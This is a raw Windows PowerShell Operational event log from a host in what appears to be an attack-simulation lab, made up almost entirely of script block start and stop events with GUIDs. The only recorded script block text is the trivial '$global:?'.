LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989366 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989365 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989364 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989363 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989362 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989361 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989360 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989404 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989403 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989402 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989401 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989400 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989399 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989398 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989397 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989396 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989395 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989394 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989393 Keywords=None Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989392 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989391 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989390 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989389 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989388 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989387 Keywords=None Message=Completed invocation of ScriptBlock ID: eddd521e-e711-46ed-b04a-fb50bed99bd0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989386 Keywords=None Message=Completed invocation of ScriptBlock ID: d4486394-473b-408a-81e7-d7180dd56837 Runspace ID: bdba0293-4090-4aee-8e66-0b9822fa952f 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989385 Keywords=None Message=Started invocation of ScriptBlock ID: d4486394-473b-408a-81e7-d7180dd56837 Runspace ID: bdba0293-4090-4aee-8e66-0b9822fa952f 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989384 Keywords=None Message=Creating Scriptblock text (1 of 1): $global:? ScriptBlock ID: d4486394-473b-408a-81e7-d7180dd56837 Path: 09/09/2021 06:17:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989383 Keywords=None Message=Completed invocation of ScriptBlock ID: 629ae3c7-540e-4ada-817d-4a53724f3b64 Runspace ID: bdba0293-4090-4aee-8e66-0b9822fa952f 09/09/2021 06:17:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989405 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989415 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989414 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989413 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989412 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989411 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989410 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989409 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989408 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989407 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989406 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989425 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989424 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989423 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989422 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989421 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989420 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989419 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989418 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989417 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989416 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989435 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989434 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989433 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989432 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989431 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989430 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 